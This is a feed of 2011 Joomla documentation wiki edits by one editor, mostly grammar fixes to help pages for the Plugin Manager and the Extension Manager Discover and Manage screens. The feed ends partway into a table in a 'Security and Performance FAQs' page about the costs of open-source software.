*&#039;&#039;&#039;Strip From End.&#039;&#039;&#039; Strips the specified words from the end of the language string. For multiple words separate each word with the pipe ( &#039;&#039;|&#039;&#039; ) character like so: word1|word2&lt;br /&gt;
&lt;br /&gt;
===System - Log===&lt;br /&gt;
This plug-in enables system logging. A log is a file that contains information about the web site activity. It can be used to see a history of activity and to troubleshoot problems on the site. This plug-in has no options.&lt;br /&gt;
&lt;br /&gt;
===System - Redirect===&lt;br /&gt;
This plug-in enables the Joomla! Redirect system to catch missing pages and redirect users. This plug-in has no options.&lt;br /&gt;
&lt;br /&gt;
===System - Remember Me===&lt;br /&gt;
This plug-in provides &amp;quot;Remember Me&amp;quot; functionality. This allows the website to &amp;quot;remember&amp;quot; your username and password so that you can automatically be logged in when you return to the site. This plug-in has no options.&lt;br /&gt;
&lt;br /&gt;
===System - SEF===&lt;br /&gt;
This plug-in adds SEF support to links in the document. It operates directly on the HTML and does not require a special tag. This plug-in has no options.&lt;br /&gt;
&lt;br /&gt;
===User - Profile===&lt;br /&gt;
This plug-in adds user profile capability to your website. Website users will be able to fill out profile fields that you enable in the options section of this plug-in. You can control what profile fields are shown in the new user registration form and/or each user&#039;s editable profile screen. To control what fields are shown in the new user registration form, set the field options in the section labeled &#039;&#039;User profile information required at registration&#039;&#039;. For profile fields shown in the user&#039;s profile screen which it editable after login, set the field option in the options section labeled &#039;&#039;Required user profile information&#039;&#039;. For each field you have the following options:&lt;br /&gt;
*&#039;&#039;&#039;Required.&#039;&#039;&#039; The field is visible in user profiles and users are required to fill it out.&lt;br /&gt;
*&#039;&#039;&#039;Optional.&#039;&#039;&#039; The field is visible in user profiles but is optional and users do not need to fill it out.&lt;br /&gt;
*&#039;&#039;&#039;Disabled.&#039;&#039;&#039; The field is disabled and not visible in user profiles.&lt;br /&gt;
 &lt;br /&gt;
[[Image:help16-plugin_manager-edit-profile-options-screen.png]]&lt;br /&gt;
* All fields are text fields with the exception of the &#039;&#039;Terms of Service&#039;&#039; field. The &#039;&#039;Terms of Service&#039;&#039; field is a radio button that the user can click on to signify their agreement with the website&#039;s terms of service.&lt;br /&gt;
&lt;br /&gt;
===User - Contact Creator===&lt;br /&gt;
This plug-in automatically creates contact information for new users. It has the following options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-contact_creator-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Automatic Webpage.&#039;&#039;&#039; A formatted string to automatically generate a contact&#039;s web page. [name] is replaced with the name, [username] is replaced with the username, [userid] is replaced with the user ID and [email] is replaced with the email.&lt;br /&gt;
*&#039;&#039;&#039;Category.&#039;&#039;&#039; Category to assign contacts to by default.&lt;br /&gt;
*&#039;&#039;&#039;Autopublish the contact.&#039;&#039;&#039; Optionally have the automatically created contact set to the published state and visible to your website visitors.&lt;br /&gt;
&lt;br /&gt;
===User - Joomla!===&lt;br /&gt;
This plug-in handles the default user synchronization. It has the following options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-joomla-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Auto-create Users.&#039;&#039;&#039; Whether or not to automatically create registered Joomla! users where possible. Default is &amp;quot;Yes&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
==Quick Tips==&lt;br /&gt;
*If you are using the TinyMCE editor, you can control which options appear on the editor&#039;s toolbar by setting the parameters in the &amp;quot;Editor - TinyMCE&amp;quot; plug-in.&lt;br /&gt;
*Starting with Joomla! 1.6, configurable plug-in settings are referred to as &#039;options&#039;. In previous versions of Joomla! these configurable settings were referred to as &#039;parameters&#039;. You may see the terms &#039;options&#039; and &#039;parameters&#039; used interchangeably in help documentation and tutorials you encounter.&lt;br /&gt;
&lt;br /&gt;
==Related Information==&lt;br /&gt;
*To install new Plug-in Extensions: [[Help16:Extensions_Extension_Manager_Install|Extension Manager - Install Screen]]&lt;br /&gt;
*To uninstall third-party Plug-ins: [[Help16:Extensions_Extension_Manager_Manage|Extension Manager - Manage]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;{{cathelp|1.6|Plugin Manager|Extensions}}&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Help17:Extensions_Plugin_Manager&amp;diff=59941</id>
		<title>Help17:Extensions Plugin Manager</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Help17:Extensions_Plugin_Manager&amp;diff=59941"/>
		<updated>2011-06-27T00:40:02Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Column Headers */ Minor grammar: can not -&amp;gt; cannot&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Overview==&lt;br /&gt;
The plug-in manager is accessed from the back-end Joomla! administrator panel. It is used to edit an installed plug-in&#039;s details and options.&lt;br /&gt;
&lt;br /&gt;
==How to Access==&lt;br /&gt;
Select &#039;&#039;&#039;Extensions &amp;amp;rarr; Plug-in Manager&#039;&#039;&#039; from the drop-down menu of the &#039;&#039;&#039;&#039;&#039;Joomla! Administrator Panel&#039;&#039;&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The Plug-in Manager allows you to enable and disable Joomla! plug-ins and to edit a plug-in&#039;s details and options. It is also useful for quickly enabling/disabling multiple plug-ins at once.&lt;br /&gt;
&lt;br /&gt;
==Screenshot==&lt;br /&gt;
[[Image:help16-plugin_manager-screen.png]]&lt;br /&gt;
&lt;br /&gt;
==Column Headers==&lt;br /&gt;
* &#039;&#039;&#039;Checkbox.&#039;&#039;&#039; Check this box to select one or more items. To select all items, check the box in the column heading. After one or more boxes are checked, click a toolbar button to take an action on the selected item or items.&lt;br /&gt;
* &#039;&#039;&#039;Name.&#039;&#039;&#039; The name of the plug-in.&lt;br /&gt;
* &#039;&#039;&#039;Enabled.&#039;&#039;&#039; A green circle with a check mark or a red circle showing whether the use of the extension is enabled/disabled. Click the icon to toggle the item between enabled and disabled.&lt;br /&gt;
* &#039;&#039;&#039;Ordering.&#039;&#039;&#039; Ordering. The order to display items. If the list is sorted by this column, you can change the order by clicking the arrows or by entering the sequential order and clicking the &#039;Save Order&#039; icon which looks like a little floppy disk. Note that the display order on a page is set in the &#039;Advanced Options&#039; section for each menu item. If that order is set to use something other than &#039;Order&#039; (for example, &#039;Title - Alphabetical&#039;), then the order value in this screen will be ignored. If the menu item&#039;s order option is set to use &#039;Order&#039;, then the items will display on the page based on the order in this screen.&lt;br /&gt;
* &#039;&#039;&#039;Access.&#039;&#039;&#039; Which user &#039;access levels&#039; have access to this item. You can change an item&#039;s Access Level by clicking on its name to open it up for editing. The default user &#039;access levels&#039; which come preconfigured with Joomla! are:&lt;br /&gt;
** Public: Everyone has access including website visitors who have not logged in&lt;br /&gt;
** Registered: Only users with registered status or higher will have access&lt;br /&gt;
** Special: Only users with author status or higher have access&lt;br /&gt;
* &#039;&#039;&#039;Type.&#039;&#039;&#039; The Type of the plug-in. Some possible types are: authentication, content, editors, editors-xtd, search, system, and user. These are also the names of the website sub-directories where the plug-in files are located. For example, plug-ins with a type of &#039;authentication&#039; are located in the website directory &#039;plugins/authentication&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Element.&#039;&#039;&#039; The plug-in directory name which contains the plug-in&#039;s files. This directory will be located in the directory which corresponds to its type. For example, the &#039;Authentication - Joomla&#039; plug-in is of type &#039;Authentication&#039; and element &#039;joomla&#039;. So the website directory it is located in is &#039;plugins/authentication/joomla&#039;&lt;br /&gt;
* &#039;&#039;&#039;ID.&#039;&#039;&#039; The ID number. This is a unique identification number for this item assigned automatically by Joomla!. It is used to identify the item internally, for example in internal links. You cannot change this number.&lt;br /&gt;
* &#039;&#039;&#039;Display #.&#039;&#039;&#039; The number of items to display on one page. Note that if you have a large number of items, it may be helpful to use the Filter options, located above the column headings, to limit which items display (where applicable).&lt;br /&gt;
&lt;br /&gt;
==List Filters==&lt;br /&gt;
The list of plug-ins which appears on this screen may be very large. You can use one of the available filters or any combination of them to limit the number of plug-ins displayed to just the plug-ins which match your filter parameters.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filter by Partial Name&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You can filter the list of items by typing in all of part of its name. Or you can select a combination of Access Level, Enable/Disable State and Type.&lt;br /&gt;
* Filter. In the upper left corner just above the column headings is a Filter field and two buttons, as shown below:&lt;br /&gt;
[[Image:help16-plugin_manager-filter-name.png]]&lt;br /&gt;
&lt;br /&gt;
If you have a large number of items on the list, you can use this filter to find the desired item(s) quickly. Enter either all or part of the name and press &#039;Search&#039; to display the matching items. You can enter in whole words or part of a word. For example, &#039;ooml&#039; will match all titles with the word &#039;Joomla!&#039; in them.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filter by Access, State and Type&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the upper right area, above the column headings, are 3 drop-down list boxes as shown below:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-filter-types.png]]&lt;br /&gt;
&lt;br /&gt;
The selections may be combined. Only items matching all selections will display in the list.&lt;br /&gt;
* Select Access. Select the &#039;Access Level&#039; from the drop-down list box to only show plug-ins accessible by uses of the selected &#039;Access Level&#039;&lt;br /&gt;
* Select State. Select a state (Enabled or Disabled) from the drop-down list box to show only plug-ins with the selected state.&lt;br /&gt;
* Select Type. Select a Type from the drop-down list box to show only plug-ins of the selected Type.&lt;br /&gt;
&lt;br /&gt;
==Toolbar==&lt;br /&gt;
At the top right you will see the toolbar:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-toolbar.png]]&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Edit.&#039;&#039;&#039; Select one item and click on this button to open it in edit mode. If you have more than one item selected (where applicable), the first item will be opened. You can also open an item for editing by clicking on its Name.&lt;br /&gt;
*&#039;&#039;&#039;Enable.&#039;&#039;&#039; To enable one or more items, select them using the Checkbox and press this button. You may also toggle between Enabled and Disabled by clicking on the icon in the &#039;Enabled&#039; column.&lt;br /&gt;
*&#039;&#039;&#039;Disable.&#039;&#039;&#039; To disable one or more items, select them using the Checkbox and press this button. You may also toggle between Enabled and Disabled by clicking on the icon in the &#039;Enabled&#039; column.&lt;br /&gt;
*&#039;&#039;&#039;Check In.&#039;&#039;&#039;&lt;br /&gt;
*&#039;&#039;&#039;Options.&#039;&#039;&#039; Opens the configuration window for the &#039;&#039;&#039;Plug-in Manager&#039;&#039;&#039;. In this window you can set &#039;&#039;&#039;Plug-in Manager&#039;&#039;&#039; access permissions for each user group specified in your Joomla! installation.&lt;br /&gt;
*&#039;&#039;&#039;Help.&#039;&#039;&#039; Opens this Help Screen.&lt;br /&gt;
&lt;br /&gt;
==Quick Tips==&lt;br /&gt;
*To enable or disable a group of Plug-ins, check the check box for each desired Plug-in and then click the Enable or Disable toolbar button.&lt;br /&gt;
*Starting with Joomla! 1.6, configurable plug-in settings are referred to as &#039;options&#039;. In previous versions of Joomla! these configurable settings were referred to as &#039;parameters&#039;. You may see the terms &#039;options&#039; and &#039;parameters&#039; used interchangeably in help documentation and tutorials you encounter.&lt;br /&gt;
&lt;br /&gt;
==Related Information==&lt;br /&gt;
*To change the Details or Options for a Plug-in: [[Help16:Extensions_Plugin_Manager_Edit|Plugin Manager - Edit]]&lt;br /&gt;
*To install Plug-ins: [[Help16:Extensions_Extension_Manager_Install|Extension Manager - Install]]&lt;br /&gt;
*To uninstall Plug-ins: [[Help16:Extensions_Extension_Manager_Manage|Extension Manager - Manage]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;{{cathelp|1.6|Plugin Manager|Extensions}}&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Help17:Extensions_Extension_Manager_Discover&amp;diff=59940</id>
		<title>Help17:Extensions Extension Manager Discover</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Help17:Extensions_Extension_Manager_Discover&amp;diff=59940"/>
		<updated>2011-06-27T00:39:48Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Column Headers */ Minor grammar: can not -&amp;gt; cannot&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Overview==&lt;br /&gt;
This screen is accessed from the back-end Joomla! administrator panel. It is used to discover and install extensions into your Joomla! installation. Some examples of extensions are plug-ins, components, and site templates.&lt;br /&gt;
&lt;br /&gt;
==How to Access==&lt;br /&gt;
*Select &#039;&#039;&#039;Extensions → Extension Manager&#039;&#039;&#039; from the drop-down menu of the &#039;&#039;&#039;&#039;&#039;Joomla! Administrator Panel&#039;&#039;&#039;&#039;&#039;. Then select the &#039;&#039;&#039;Discover&#039;&#039;&#039; menu item in the &#039;&#039;&#039;&#039;&#039;Extension manager&#039;&#039;&#039;&#039;&#039; screen that appears.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
This screen allows you to discover extensions that have not gone through the normal installation process. This provides a method to install large extensions which are not possible to install using the normal process. For example, some extensions are too large in file size to upload using the web interface due to limitations of the web hosting environment. Using this feature you can upload extension files directly to your web server using some other means such as FTP or SFTP and place those extension files into the appropriate directory. You can then use the discover feature to find the newly uploaded extension and activate it in your Joomla! installation. Using the discover operation you can also discover and install multiple extensions at the same time.&lt;br /&gt;
&lt;br /&gt;
==Screenshot==&lt;br /&gt;
[[Image:Help16-extension_manager-discover-screen.png]]&lt;br /&gt;
&lt;br /&gt;
==Column Headers==&lt;br /&gt;
*&#039;&#039;&#039;Checkbox.&#039;&#039;&#039; Check this box to select one or more items. To select all items, check the box in the column heading. After one or more boxes are checked, click a toolbar button to take an action on the selected item or items.&lt;br /&gt;
*&#039;&#039;&#039;Name.&#039;&#039;&#039; The name of the extension.&lt;br /&gt;
*&#039;&#039;&#039;Extension Type.&#039;&#039;&#039; The extension type - module, plug-in, template, language.&lt;br /&gt;
*&#039;&#039;&#039;Version.&#039;&#039;&#039; The version number of the Extension.&lt;br /&gt;
*&#039;&#039;&#039;Date.&#039;&#039;&#039; The date this extension was released.&lt;br /&gt;
*&#039;&#039;&#039;Folder.&#039;&#039;&#039; If the extension is a plug-in, the subdirectory of your Joomla! installation&#039;s /plugins directory where the extension is located. By default Joomla! 1.6 has the following subdirectories in the plugins directory which each represent the different types of plug-ins that are defined by default: authentication, content, editors, editors-xtd, extension, search, system, user.&lt;br /&gt;
*&#039;&#039;&#039;Client.&#039;&#039;&#039; Specifies if this is a site or administrator extension.&lt;br /&gt;
*&#039;&#039;&#039;Author.&#039;&#039;&#039; The author of this extension.&lt;br /&gt;
*&#039;&#039;&#039;ID.&#039;&#039;&#039; The ID number. This is a unique identification number for this item assigned automatically by Joomla!. It is used to identify the item internally, for example in internal links. You cannot change this number.&lt;br /&gt;
&lt;br /&gt;
==Toolbar==&lt;br /&gt;
At the top right you will see the toolbar:&lt;br /&gt;
&lt;br /&gt;
[[Image:Help16-extension_manager-discover-toolbar.png]]&lt;br /&gt;
*&#039;&#039;&#039;Install.&#039;&#039;&#039; Installs the selected extension.&lt;br /&gt;
*&#039;&#039;&#039;Discover.&#039;&#039;&#039; Searches the Joomla! installation directories for uninstalled extensions. Any uninstalled extensions found will be displayed in the extension listing. Caches the search results so they continue to be displayed on subsequent visits to this screen.&lt;br /&gt;
*&#039;&#039;&#039;Purge cache.&#039;&#039;&#039; Purges the cache of uninstalled extensions that were discovered. This will clear the listing of uninstalled extensions listed in this screen.&lt;br /&gt;
*&#039;&#039;&#039;Options.&#039;&#039;&#039; Opens the configuration window for the &#039;&#039;&#039;Extension Manager&#039;&#039;&#039;. In this window you can set &#039;&#039;&#039;Extension Manager&#039;&#039;&#039; access permissions for each user group specified in your Joomla! installation.&lt;br /&gt;
*&#039;&#039;&#039;Help.&#039;&#039;&#039; Opens this Help Screen.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Links to Other Screens&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
At the top left, you will see the following five links:&lt;br /&gt;
&lt;br /&gt;
[[Image:Help16-extension_manager-discover-menu.png‎]]&lt;br /&gt;
*&#039;&#039;&#039;Install.&#039;&#039;&#039; Links to the [[Help16:Extensions_Extension_Manager_Install|Install Screen]].&lt;br /&gt;
*&#039;&#039;&#039;Update.&#039;&#039;&#039; Links to the [[Help16:Extensions_Extension_Manager_Update|Update Screen]].&lt;br /&gt;
*&#039;&#039;&#039;Manage.&#039;&#039;&#039; Links to the [[Help16:Extensions_Extension_Manager_Manage|Manage Screen]].&lt;br /&gt;
*&#039;&#039;&#039;Discover.&#039;&#039;&#039; Links to the [[Help16:Extensions_Extension_Manager_Discover|Discover Screen]].&lt;br /&gt;
*&#039;&#039;&#039;Warnings.&#039;&#039;&#039; Links to the [[Help16:Extensions_Extension_Manager_Warnings|Warnings Screen]].&lt;br /&gt;
&lt;br /&gt;
==Outline==&lt;br /&gt;
An extension can be installed with the discover function by doing the following steps:&lt;br /&gt;
# Upload the uncompressed extension files to the appropriate directory in your Joomla! installation. For example, if you wanted to upload a site template extension to your Joomla! installation you would create a directory for the template extension in the /templates sub-directory of your Joomla! installation. Then you would upload the template extension files into that directory you created.&lt;br /&gt;
# After you have uploaded the extension files, go back to the Extension Manager Discover screen and click the &#039;&#039;&#039;Discover&#039;&#039;&#039; item in the toolbar. This will initiate the search function which will search your Joomla! extension directories looking for uninstalled extensions.&lt;br /&gt;
# If the extension you uploaded is compatible with Joomla! 1.6 and is not already installed, it will appear in the listing of discovered extensions in this screen.&lt;br /&gt;
# Click the check-box to the left of the discovered extension and then click the &#039;&#039;&#039;Install&#039;&#039;&#039; item in the toolbar. This will install the extension into your Joomla! installation.&lt;br /&gt;
&lt;br /&gt;
==Quick Tips==&lt;br /&gt;
* If you have many extensions you want to install you can upload them all into the appropriate directories of your Joomla! installation and then use this screen to discover all of them in one operation. You can then install all of the extensions in one step by selecting all of them and pressing the &#039;&#039;&#039;Install&#039;&#039;&#039; item in the toolbar.&lt;br /&gt;
&lt;br /&gt;
==Related Information==&lt;br /&gt;
*If you install a Component Extension, it will be listed as a new Menu Item in the &#039;&#039;Components&#039;&#039; menu. &lt;br /&gt;
&lt;br /&gt;
*You can assign a Menu Item to an installed Component Extension in the [[Help16:Menus_Menu_Item_Manager|Menu Item Manager]] by clicking the &#039;&#039;New&#039;&#039; toolbar button. The new Component will show in the Internal Link list of Menu Item Types.&lt;br /&gt;
&lt;br /&gt;
*If you install a Module Extension, it will be added to the list of the Modules in the [[Help16:Extensions_Module_Manager|Module Manager]], where you can enable/disable it. You can also customize it&#039;s parameters in the [[Help16:Extensions_Module_Manager_Edit|Module Edit]] screen.&lt;br /&gt;
&lt;br /&gt;
*An installed Plugin Extension will be added to the list of the [[Help16:Extensions_Plugin_Manager|Plugin Manager]], where you can enable/disable it. You can also customize its parameters in the [[Help16:Extensions_Plugin_Manager_Edit|Plugin Edit]] screen.&lt;br /&gt;
&lt;br /&gt;
*An installed Template Extension will be added to the Site or Administrator list of the [[Help16:Extensions_Template_Manager_Styles|Template Manager]] where you can assign it to all of the pages or to the selected ones. You can also customize its parameters, edit the HTML or CSS source, or preview the available Module positions.&lt;br /&gt;
&lt;br /&gt;
*An installed Language Extension will be added to the Site or Administrator list of the [[Help16:Extensions_Language_Manager_Installed|Language Manager]], depending on the client attribute of the Extension. This screen let&#039;s you assign it as the default language, if desired.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;{{cathelp|1.6|Extension Manager|Discover}}&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Help17:Extensions_Extension_Manager_Manage&amp;diff=59939</id>
		<title>Help17:Extensions Extension Manager Manage</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Help17:Extensions_Extension_Manager_Manage&amp;diff=59939"/>
		<updated>2011-06-27T00:39:32Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Column Headers */ Minor grammar: can not -&amp;gt; cannot&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Overview==&lt;br /&gt;
This screen is accessed from the back-end Joomla! administrator panel. It is used to enable/disable/uninstall extensions that are installed in your Joomla! installation. Some examples of extensions are plug-ins, components, and site templates.&lt;br /&gt;
&lt;br /&gt;
==How to Access==&lt;br /&gt;
*Select &#039;&#039;&#039;Extensions → Extension Manager&#039;&#039;&#039; from the drop-down menu of the &#039;&#039;&#039;&#039;&#039;Joomla! Administrator Panel&#039;&#039;&#039;&#039;&#039;. Then select the &#039;&#039;&#039;Manage&#039;&#039;&#039; menu item in the &#039;&#039;&#039;&#039;&#039;Extension manager&#039;&#039;&#039;&#039;&#039; screen that appears.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
This screen allows you to Enable/Disable extensions. To Enable/Disable an extension is the same as to Publish/Unpublish it. In addition you can uninstall extensions from this screen as well.&lt;br /&gt;
&lt;br /&gt;
==Screenshot==&lt;br /&gt;
[[Image:Help16-extension_manager-manage-screen.png]]&lt;br /&gt;
&lt;br /&gt;
==Column Headers==&lt;br /&gt;
*&#039;&#039;&#039;Checkbox.&#039;&#039;&#039; Check this box to select one or more items. To select all items, check the box in the column heading. After one or more boxes are checked, click a toolbar button to take an action on the selected item or items.&lt;br /&gt;
*&#039;&#039;&#039;Name.&#039;&#039;&#039; The name of the extension.&lt;br /&gt;
*&#039;&#039;&#039;Extension Type.&#039;&#039;&#039; The extension type. Some examples of extension types are module, plug-in, template, or language.&lt;br /&gt;
*&#039;&#039;&#039;Enabled.&#039;&#039;&#039; A green circle with a check mark or a red circle showing whether the use of the extension is enabled/disabled. Click the icon to toggle the item between enabled and disabled.&lt;br /&gt;
*&#039;&#039;&#039;Version.&#039;&#039;&#039; The version number of the Extension.&lt;br /&gt;
*&#039;&#039;&#039;Date.&#039;&#039;&#039; The date this extension was released.&lt;br /&gt;
*&#039;&#039;&#039;Folder.&#039;&#039;&#039; If the extension is a plug-in, the subdirectory of your Joomla! installation&#039;s /plugins directory where the extension is located. By default Joomla! 1.6 has the following subdirectories in the plugins directory which each represent the different types of plug-ins that are defined: authentication, content, editors, editors-xtd, extension, search, system, user.&lt;br /&gt;
*&#039;&#039;&#039;Client.&#039;&#039;&#039; Specifies if this is a site or administrator extension.&lt;br /&gt;
*&#039;&#039;&#039;Author.&#039;&#039;&#039; The author of this extension.&lt;br /&gt;
*&#039;&#039;&#039;Id.&#039;&#039;&#039; The ID number. This is a unique identification number for this item assigned automatically by Joomla!. It is used to identify the item internally, for example in internal links. You cannot change this number.&lt;br /&gt;
*&#039;&#039;&#039;Display #.&#039;&#039;&#039; The number of items to display on one page. Note that if you have a large number of items, it may be helpful to use the Filter options, located above the column headings, to limit which items display (where applicable).&lt;br /&gt;
&lt;br /&gt;
==List Filters==&lt;br /&gt;
The list of extensions which appears on this screen may be very large. You can use one of the available filters or any combination of them to limit the number of extensions displayed to just the extensions which match your filter parameters.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filter by Partial Name&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-extension_manager-manage-filter-name.png]]&lt;br /&gt;
&lt;br /&gt;
If you have a large number of extensions in the list, you can use this filter to find the desired extension(s) quickly. Enter either all or part of the extension name and press &#039;Search&#039; to display the matching extensions. For example, &amp;quot;joom&amp;quot; will match all extension names with the word &amp;quot;Joomla!&amp;quot; in them. This filter is not case-sensitive. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Hide Protected Extensions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-extension_manager-manage-filter-protected.png]]&lt;br /&gt;
&lt;br /&gt;
Check this checkbox to hide extensions which are protected.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filter by Extension Type, Plug-in Folder, and Extension Client&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-extension_manager-manage-filter-types.png]]&lt;br /&gt;
&lt;br /&gt;
* Select type. Select the extension type from the drop-down list box of available types.&lt;br /&gt;
&lt;br /&gt;
* Select folder. Select a plug-in folder from the drop-down list box of available folders. There is a separate folder for each type of plug-in defined in your installation of Joomla!.&lt;br /&gt;
&lt;br /&gt;
* Select client. Select an extension client from the drop-down list box of available clients. There are two clients - Site and Administrator. Site clients are extensions which are designed for use in areas outside of the administrator interface. Administrator extensions are for the back-end administrative functions of your Joomla! installation. Usually you would only directly interact with these extensions through the administrator web interface.&lt;br /&gt;
&lt;br /&gt;
==Toolbar==&lt;br /&gt;
At the top right you will see the toolbar:&lt;br /&gt;
&lt;br /&gt;
[[Image:Help16-extension_manager-manage-toolbar.png]]&lt;br /&gt;
*&#039;&#039;&#039;Publish.&#039;&#039;&#039; Enable the selected extension(s).&lt;br /&gt;
*&#039;&#039;&#039;Unpublish.&#039;&#039;&#039; Disable the selected extension(s).&lt;br /&gt;
*&#039;&#039;&#039;Refresh cache.&#039;&#039;&#039; Refresh the information displayed for the selected extension(s).&lt;br /&gt;
*&#039;&#039;&#039;Uninstall.&#039;&#039;&#039; Uninstall the selected extension(s).&lt;br /&gt;
*&#039;&#039;&#039;Options.&#039;&#039;&#039; Opens the configuration window for the &#039;&#039;&#039;Extension Manager&#039;&#039;&#039;. In this window you can set &#039;&#039;&#039;Extension Manager&#039;&#039;&#039; access permissions for each user group specified in your Joomla! installation.&lt;br /&gt;
*&#039;&#039;&#039;Help.&#039;&#039;&#039; Opens this Help Screen.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Links to Other Screens&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
At the top left, you will see the following five links:&lt;br /&gt;
&lt;br /&gt;
[[Image:Help16-extension_manager-manage-menu.png‎]]&lt;br /&gt;
*&#039;&#039;&#039;Install.&#039;&#039;&#039; Links to the [[Help16:Extensions_Extension_Manager_Install|Install Screen]].&lt;br /&gt;
*&#039;&#039;&#039;Update.&#039;&#039;&#039; Links to the [[Help16:Extensions_Extension_Manager_Update|Update Screen]].&lt;br /&gt;
*&#039;&#039;&#039;Manage.&#039;&#039;&#039; Links to the [[Help16:Extensions_Extension_Manager_Manage|Manage Screen]].&lt;br /&gt;
*&#039;&#039;&#039;Discover.&#039;&#039;&#039; Links to the [[Help16:Extensions_Extension_Manager_Discover|Discover Screen]].&lt;br /&gt;
*&#039;&#039;&#039;Warnings.&#039;&#039;&#039; Links to the [[Help16:Extensions_Extension_Manager_Warnings|Warnings Screen]].&lt;br /&gt;
&lt;br /&gt;
==Quick Tips==&lt;br /&gt;
* Throughout the administrator interface of Joomla! you will see the terms &amp;quot;Publish&amp;quot; and &amp;quot;Unpublish&amp;quot;. &#039;&#039;Publish&#039;&#039; means the same thing as &#039;&#039;Enable&#039;&#039; or &#039;&#039;Activate&#039;&#039;. &#039;&#039;Unpublish&#039;&#039; means the same thing as &#039;&#039;Disable&#039;&#039; or &#039;&#039;Deactivate&#039;&#039;. You may see the terms used interchangeably in extension screens and help documentation you find online.&lt;br /&gt;
* Some information such as &#039;&#039;Date&#039;&#039; or &#039;&#039;Author&#039;&#039; may not be displayed for an extension. This is not a problem. It merely means the information was not specified by the extension developer in the extension&#039;s installation package.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;{{cathelp|1.6|Extension Manager|Manage}}&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=59938</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=59938"/>
		<updated>2011-06-27T00:38:54Z</updated>

		<summary type="html">&lt;p&gt;Royce: Minor grammar: can not -&amp;gt; cannot&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Applications&#039;&#039;&#039; !! &#039;&#039;&#039;Industry Leader&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| PHP Scripting Language&lt;br /&gt;
